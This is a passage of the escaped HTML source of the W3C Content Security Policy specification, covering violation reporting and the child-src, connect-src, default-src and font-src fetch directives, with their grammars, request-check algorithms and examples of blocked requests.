data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a></p>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-url\">url</a></p>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-origin\">origin</a></p>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\">global object</a>’s <a data-link-type=\"dfn\" href=\"https://tools.ietf.org/html/rfc6454#section-3.2\">origin</a></p>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-window\">window</a></p>\n         <dd data-md=\"\">\n          <p>\"<code>no-window</code>\"</p>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-client\">client</a></p>\n         <dd data-md=\"\">\n          <p><var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\">global object</a>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#relevant-settings-object-for-a-global-object\">relevant\n  settings object</a></p>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a></p>\n         <dd data-md=\"\">\n          <p>\"\"</p>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\">initiator</a></p>\n         <dd data-md=\"\">\n          <p>\"\"</p>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a></p>\n         <dd data-md=\"\">\n          <p>\"\"</p>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-cache-mode\">cache mode</a></p>\n         <dd data-md=\"\">\n          <p>\"<code>no-cache</code>\"</p>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-credentials-mode\">credentials mode</a></p>\n         <dd data-md=\"\">\n          <p>\"<code>same-origin</code>\"</p>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-header-list\">header list</a></p>\n         <dd data-md=\"\">\n          <p>A <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-header-list\">header list</a> containing a single header whose name is\n  \"<code>Content-Type</code>\", and value is \"<code>application/csp-report</code>\"</p>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-body\">body</a></p>\n         <dd data-md=\"\">\n          <p>The result of executing <a href=\"#deprecated-serialize-violation\">§5.2 Obtain the deprecated serialization of violation</a> on <var>violation</var></p>\n         <dt data-md=\"\">\n          <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-redirect-mode\">redirect mode</a></p>\n         <dd data-md=\"\">\n          <p>\"<code>error</code>\"</p>\n        </dl>\n       <li data-md=\"\">\n        <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-fetch\">Fetch</a> <var>request</var>. The result will be ignored.</p>\n      </ol>\n      <p class=\"note\" role=\"note\">Note: All of this should be considered deprecated. It sends a single\n  request per violation, which simply isn’t scalable. As soon as this\n  behavior can be removed from user agents, it will be.</p>\n      <p class=\"note\" role=\"note\">Note: <code>report-uri</code> only takes effect if <code>report-to</code> is not present. That'\n  is, the latter overrides the former, allowing for backwards compatibility\n  with browsers that don’t support the new mechanism.</p>\n     <li data-md=\"\">\n      <p>If <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-policy\">policy</a>’s <a data-link-type=\"dfn\" href=\"#policy-directive-set\">directive\n  set</a> contains a <a data-link-type=\"dfn\" href=\"#directives\">directive</a> named \"<a data-link-type=\"dfn\" href=\"#report-to\"><code>report-to</code></a>\"\n  (<var>directive</var>):</p>\n      <ol>\n       <li data-md=\"\">\n        <p>Let <var>group</var> be <var>directive</var>’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a>.</p>\n       <li data-md=\"\">\n        <p>Let <var>settings object</var> be <var>violation</var>’s <a data-link-type=\"dfn\" href=\"#violation-global-object\">global\n  object</a>’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/webappapis.html#relevant-settings-object-for-a-global-object\">relevant settings object</a>.</p>\n       <li data-md=\"\">\n        <p>Execute <a data-link-type=\"biblio\" href=\"#biblio-oob-reporting\">[OOB-REPORTING]</a>'s <a data-link-type=\"dfn\" href=\"https://mikewest.github.io/error-reporting/#queue-report\">Queue <var>data</var> as <var>type</var> for <var>endpoint group</var> on <var>settings</var></a> algorithm with the\n  following arguments:</p>\n        <dl>\n         <dt data-md=\"\">\n          <p><var>data</var></p>\n         <dd data-md=\"\">\n          <p><var>violation</var></p>\n         <dt data-md=\"\">\n          <p><var>type</var></p>\n         <dd data-md=\"\">\n          <p>\"CSP\"</p>\n         <dt data-md=\"\">\n          <p><var>endpoint group</var></p>\n         <dd data-md=\"\">\n          <p><var>group</var></p>\n         <dt data-md=\"\">\n          <p><var>settings</var></p>\n         <dd data-md=\"\">\n          <p><var>settings object</var></p>\n        </dl>\n      </ol>\n    </ol>\n   </section>\n   <section>\n    <h2 class=\"heading settled\" data-level=\"6\" id=\"csp-directives\"><span class=\"secno\">6. </span><span class=\"content\"> Content Security Policy Directives </span><a class=\"self-link\" href=\"#csp-directives\"></a></h2>\n    <p>This specification defines a number of types of <a data-link-type=\"dfn\" href=\"#directives\">directives</a> which allow\n  developers to control certain aspects of their sites' behavior. This document\n  defines directives which govern resource fetching (in <a href=\"#directives-fetch\">§6.1 Fetch Directives</a>)\n  and directives which govern reporting (in <a href=\"#directives-reporting\">§6.2 Reporting Directives</a>). These\n  form the core of Content Security Policy; other directives are defined in a\n  modular fashion in ancillary documents (see <a href=\"#directives-elsewhere\">§6.3 Directives Defined in Other Documents</a> for\n  examples).</p>\n    <p>To mitigate the risk of cross-site scripting attacks, web developers SHOULD\n  include directives that regulate sources of script and plugins. They can do\n  so by including:</p>\n    <ul>\n     <li data-md=\"\">\n      <p>Both the <a data-link-type=\"dfn\" href=\"#script-src\">script-src</a> and <a data-link-type=\"dfn\" href=\"#object-src\">object-src</a> directives, or</p>\n     <li data-md=\"\">\n      <p>a <a data-link-type=\"dfn\" href=\"#default-src\">default-src</a> directive</p>\n    </ul>\n    <p>In either case, developers SHOULD NOT include either <a data-link-type=\"grammar\" href=\"#grammardef-unsafe-inline\"><code>'unsafe-inline'</code></a>, or <code>data:</code> as valid\n  sources in their policies. Both enable XSS attacks by allowing code to be\n  included directly in the document itself; they are best avoided completely.</p>\n    <h3 class=\"heading settled\" data-level=\"6.1\" id=\"directives-fetch\"><span class=\"secno\">6.1. </span><span class=\"content\"> Fetch Directives </span><a class=\"self-link\" href=\"#directives-fetch\"></a></h3>\n    <p><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"fetch-directives\">Fetch directives<a class=\"self-link\" href=\"#fetch-directives\"></a></dfn> control the locations from which certain resource\n  types may be loaded. For instance, <a data-link-type=\"dfn\" href=\"#script-src\">script-src</a> allows developers to\n  whitelist trusted sources of script to execute on a page, while <a data-link-type=\"dfn\" href=\"#font-src\">font-src</a> controls the sources of web fonts.</p>\n    <h4 class=\"heading settled\" data-level=\"6.1.1\" id=\"directive-child-src\"><span class=\"secno\">6.1.1. </span><span class=\"content\"><code>child-src</code></span><a class=\"self-link\" href=\"#directive-child-src\"></a></h4>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"child-src\">child-src<a class=\"self-link\" href=\"#child-src\"></a></dfn> directive governs the creation of <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing\n  contexts</a> (e.g. <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#frame\">frame</a></code> navigations) and Worker execution\n  contexts. The syntax for the directive’s name and value is described by the\n  following ABNF:</p>\n<pre>directive-name  = \"child-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\">serialized-source-list</a>\n</pre>\n    <p>This directive controls <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">requests</a> which will populate a frame or a\n  worker. More formally, <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">requests</a> falling into one of the\n  following categories:</p>\n    <ul>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a> is \"<code>document</code>\", and whose <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-target-browsing-context\">target browsing context</a> is a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing\n context</a> (e.g. requests which will populate an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#frame\">frame</a></code> element)</p>\n     <li data-md=\"\">\n      <p><a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a> is either \"<code>serviceworker</code>\",\n \"<code>sharedworker</code>\", or \"<code>worker</code>\" (which are fed to the <a data-link-type=\"dfn\" href=\"https://html.spec.whatwg.org/#run-a-worker\">run a worker</a> algorithm for <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/service-workers/#service-worker-interface\">ServiceWorker</a></code>, <code class=\"idl\"><a data-link-type=\"idl\" href=\"https://html.spec.whatwg.org/multipage/workers.html#sharedworker\">SharedWorker</a></code>, and <code class=\"idl\"><a data-link-type=\"idl\" href=\"http://www.w3.org/TR/workers/#worker\">Worker</a></code>,\n respectively).</p>\n    </ul>\n    <div class=\"example\" id=\"example-1cff8d33\">\n     <a class=\"self-link\" href=\"#example-1cff8d33\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#child-src\">child-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will all return network errors, as the URLs\n    provided do not match <code>child-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\">source list</a>:</p>\n<pre>&lt;iframe src=\"https://not-example.com\">&lt;/iframe>\n&lt;script>\n  var blockedWorker = new Worker(\"data:application/javascript,...\");\n&lt;/script>\n</pre>\n    </div>\n    <h5 class=\"heading settled\" data-level=\"6.1.1.1\" id=\"child-src-algorithms\"><span class=\"secno\">6.1.1.1. </span><span class=\"content\">Algorithms</span><a class=\"self-link\" href=\"#child-src-algorithms\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>):</p>\n    <p class=\"issue\" id=\"issue-95f2d23a\"><a class=\"self-link\" href=\"#issue-95f2d23a\"></a> TODO.</p>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a> is as follows:</p>\n    <p class=\"issue\" id=\"issue-95f2d23a0\"><a class=\"self-link\" href=\"#issue-95f2d23a0\"></a> TODO.</p>\n    <h4 class=\"heading settled\" data-level=\"6.1.2\" id=\"directive-connect-src\"><span class=\"secno\">6.1.2. </span><span class=\"content\"><code>connect-src</code></span><a class=\"self-link\" href=\"#directive-connect-src\"></a></h4>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"connect-src\">connect-src<a class=\"self-link\" href=\"#connect-src\"></a></dfn> directive restricts the URLs which can be loaded\n  using script interfaces. The syntax for the directive’s name and value is\n  described by the following ABNF:</p>\n<pre>directive-name  = \"connect-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\">serialized-source-list</a>\n</pre>\n    <p>This directive controls <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">requests</a> which transmit or receive data from\n  other origins. This includes APIs like <code>fetch()</code>, <a data-link-type=\"biblio\" href=\"#biblio-xhr\">[XHR]</a>, <a data-link-type=\"biblio\" href=\"#biblio-eventsource\">[EVENTSOURCE]</a>, <a data-link-type=\"biblio\" href=\"#biblio-beacon\">[BEACON]</a>, and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/text-level-semantics.html#the-a-element\">a</a></code>'s <code><a data-link-type=\"element-attr\" href=\"https://html.spec.whatwg.org/#ping\">ping</a></code>. This directive <em>also</em> controls\n  WebSocket <a data-link-type=\"biblio\" href=\"#biblio-websockets\">[WEBSOCKETS]</a> connections, though those aren’t technically part\n  of Fetch.</p>\n    <div class=\"example\" id=\"example-ab3c2745\">\n     <a class=\"self-link\" href=\"#example-ab3c2745\"></a> JavaScript offers a few mechanisms that directly connect to an external\n    server to send or receive information. <code>EventSource</code> maintains an open\n    HTTP connection to a server in order to receive push notifications, <code>WebSockets</code> open a bidirectional communication channel between your\n    browser and a server, and <code>XMLHttpRequest</code> makes arbitrary HTTP requests\n    on your behalf. These are powerful APIs that enable useful functionality,\n    but also provide tempting avenues for data exfiltration. \n     <p>The <code>connect-src</code> directive allows you to ensure that these and similar\n    sorts of connections are only opened to origins you trust. Sending a\n    policy that defines a list of source expressions for this directive is\n    straightforward. For example, to limit connections to only <code>https://example.com</code>, send the following header:</p>\n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#connect-src\">connect-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will all return network errors, as the URLs\n    provided do not match <code>connect-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\">source list</a>:</p>\n<pre>&lt;a ping=\"https://not-example.com\">...\n&lt;script>\n  var xhr = new XMLHttpRequest();\n  xhr.open('GET', 'https://not-example.com/');\n  xhr.send();\n\n  var ws = new WebSocket(\"https://not-example.com/\");\n        \n  var es = new EventSource(\"https://not-example.com/\");\n\n  navigator.sendBeacon(\"https://not-example.com/\", { ... });\n&lt;/script>\n</pre>\n    </div>\n    <h5 class=\"heading settled\" data-level=\"6.1.2.1\" id=\"connect-src-algorithms\"><span class=\"secno\">6.1.2.1. </span><span class=\"content\">Algorithms</span><a class=\"self-link\" href=\"#connect-src-algorithms\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\">initiator</a> is \"<code>fetch</code>\", or its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"\" and <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a> is\n  \"<code>subresource</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-initiator\">initiator</a> is \"<code>fetch</code>\", or its <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"\" and <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-destination\">destination</a> is\n  \"<code>subresource</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.3\" id=\"directive-default-src\"><span class=\"secno\">6.1.3. </span><span class=\"content\"><code>default-src</code></span><a class=\"self-link\" href=\"#directive-default-src\"></a></h4>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"default-src\">default-src<a class=\"self-link\" href=\"#default-src\"></a></dfn> directive serves as a fallback for the other <a data-link-type=\"dfn\" href=\"#fetch-directives\">fetch directives</a>. The syntax for the directive’s name and value is described by\n  the following ABNF:</p>\n<pre>directive-name  = \"default-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\">serialized-source-list</a>\n</pre>\n    <p>If a <a data-link-type=\"dfn\" href=\"#default-src\">default-src</a> directive is present in a policy, its value will be\n  used as the policy’s default source list. That is, given <code>default-src 'none'; script-src 'self'</code>, script requests will use <code>'self'</code> as the <a data-link-type=\"dfn\" href=\"#source-lists\">source\n  list</a> to match against. Other requests will use <code>'none'</code>. This is spelled\n  out in more detail in the <a href=\"#should-block-request\">§4.1.3 Should request be blocked by Content Security Policy?</a> and <a href=\"#should-block-response\">§4.1.4 Should response to request be blocked by Content\n    Security Policy?</a> algorithms.</p>\n    <div class=\"example\" id=\"example-565ff700\">\n     <a class=\"self-link\" href=\"#example-565ff700\"></a> The following header: \n<pre><a data-link-type=\"dfn\" href=\"#content-security-policy\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#default-src\">default-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>\n</pre>\n     <p>will have the same behavior as the following header:</p>\n<pre><a data-link-type=\"dfn\" href=\"#content-security-policy\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#child-src\">child-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#connect-src\">connect-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#font-src\">font-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#img-src\">img-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#media-src\">media-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#object-src\">object-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#script-src\">script-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#style-src\">style-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>\n</pre>\n     <p>That is, when <code>default-src</code> is set, every <a data-link-type=\"dfn\" href=\"#fetch-directives\">fetch directive</a> that isn’t\n    explicitly set will fall back to the value <code>default-src</code> specifies.</p>\n    </div>\n    <div class=\"example\" id=\"example-82b3ca5f\">\n     <a class=\"self-link\" href=\"#example-82b3ca5f\"></a> There is no inheritance. If a <code>script-src</code> directive is explicitly\n    specified, for example, then the value of <code>default-src</code> has no influence on\n    script requests. That is, the following header: \n<pre><a data-link-type=\"dfn\" href=\"#content-security-policy\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#default-src\">default-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>; <a data-link-type=\"dfn\" href=\"#script-src\">script-src</a> https://example.com\n</pre>\n     <p>will have the same behavior as the following header:</p>\n<pre><a data-link-type=\"dfn\" href=\"#content-security-policy\">Content-Security-Policy</a>: <a data-link-type=\"dfn\" href=\"#child-src\">child-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#connect-src\">connect-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#font-src\">font-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#img-src\">img-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#media-src\">media-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#object-src\">object-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>;\n                         <a data-link-type=\"dfn\" href=\"#script-src\">script-src</a> https://example.com;\n                         <a data-link-type=\"dfn\" href=\"#style-src\">style-src</a> <a data-link-type=\"grammar\" href=\"#grammardef-self\">'self'</a>\n</pre>\n     <p>Given this behavior, one good way to build a policy for a site would be to\n    begin with a <code>default-src</code> of <code>'none'</code>, and to build up a policy from there\n    which allowed only those resource types which are necessary for the\n    particular page the policy will apply to.</p>\n    </div>\n    <h5 class=\"heading settled\" data-level=\"6.1.3.1\" id=\"default-src-algorithms\"><span class=\"secno\">6.1.3.1. </span><span class=\"content\">Algorithms</span><a class=\"self-link\" href=\"#default-src-algorithms\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>name</var> be the result of executing <a href=\"#effective-directive-for-a-request\">§6.1.11.4 Get the effective directive for request</a> on <var>request</var>.</p>\n     <li data-md=\"\">\n      <p>If <var>name</var> is <code>null</code>, return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\">name</a> is <var>name</var>, return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>Let <var>name</var> be the result of executing <a href=\"#effective-directive-for-a-request\">§6.1.11.4 Get the effective directive for request</a> on <var>request</var>.</p>\n     <li data-md=\"\">\n      <p>If <var>name</var> is <code>null</code>, return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If <var>policy</var> contains a <a data-link-type=\"dfn\" href=\"#directives\">directive</a> whose <a data-link-type=\"dfn\" href=\"#directive-name\">name</a> is <var>name</var>, return \"<code>Allowed</code>\".</p>\n     <li data-md=\"\">\n      <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\", return \"<code>Blocked</code>\".</p>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.4\" id=\"directive-font-src\"><span class=\"secno\">6.1.4. </span><span class=\"content\"><code>font-src</code></span><a class=\"self-link\" href=\"#directive-font-src\"></a></h4>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"font-src\">font-src<a class=\"self-link\" href=\"#font-src\"></a></dfn> directive restricts the URLs from which font resources\n  may be loaded. The syntax for the directive’s name and value is described by\n  the following ABNF:</p>\n<pre>directive-name  = \"font-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\">serialized-source-list</a>\n</pre>\n    <div class=\"example\" id=\"example-38056220\">\n     <a class=\"self-link\" href=\"#example-38056220\"></a> Given a page with the following Content Security Policy: \n<pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#font-src\">font-src</a> https://example.com/\n</pre>\n     <p>Fetches for the following code will return a network errors, as the URL\n    provided do not match <code>font-src</code>'s <a data-link-type=\"dfn\" href=\"#source-lists\">source list</a>:</p>\n<pre>&lt;style>\n  @font-face {\n    font-family: \"Example Font\";\n    src: url(\"https://not-example.com/font\");\n  }\n  body {\n    font-family: \"Example Font\";\n  }\n&lt;/style>\n</pre>\n    </div>\n    <h5 class=\"heading settled\" data-level=\"6.1.4.1\" id=\"font-src-algorithms\"><span class=\"secno\">6.1.4.1. </span><span class=\"content\">Algorithms</span><a class=\"self-link\" href=\"#font-src-algorithms\"></a></h5>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-pre-request-check\">pre-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>) and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"<code>font</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <p>This directive’s <a data-link-type=\"dfn\" href=\"#directive-post-request-check\">post-request check</a> is as follows:</p>\n    <p>Given a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">request</a> (<var>request</var>), a <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response\">response</a> (<var>response</var>), and a <a data-link-type=\"dfn\" href=\"#policy\">policy</a> (<var>policy</var>):</p>\n    <ol>\n     <li data-md=\"\">\n      <p>If <var>request</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request-type\">type</a> is \"<code>font</code>\":</p>\n      <ol>\n       <li data-md=\"\">\n        <p>If the result of executing <a href=\"#match-url-to-source-list\">§6.1.11.2 Does url match source list?</a> on <var>response</var>’s <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-response-url\">url</a> and this directive’s <a data-link-type=\"dfn\" href=\"#directive-value\">value</a> is \"<code>Does Not Match</code>\",\n  return \"<code>Blocked</code>\".</p>\n      </ol>\n     <li data-md=\"\">\n      <p>Return \"<code>Allowed</code>\".</p>\n    </ol>\n    <h4 class=\"heading settled\" data-level=\"6.1.5\" id=\"directive-img-src\"><span class=\"secno\">6.1.5. </span><span class=\"content\"><code>img-src</code></span><a class=\"self-link\" href=\"#directive-img-src\"></a></h4>\n    <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"img-src\">img-src<a class=\"self-link\" href=\"#img-src\"></a></dfn> directive restricts the URLs from which image resources\n  may be loaded. The syntax for the directive’s name and value is described by\n  the following ABNF:</p>\n<pre>directive-name  = \"img-src\"\ndirective-value = <a data-link-type=\"grammar\" href=\"#grammardef-serialized-source-list\">serialized-source-list</a>\n</pre>\n    <p>This directive controls <a data-link-type=\"dfn\" href=\"https://fetch.spec.whatwg.org/#concept-request\">requests</a> which load images. More formally, this\n  includes <a 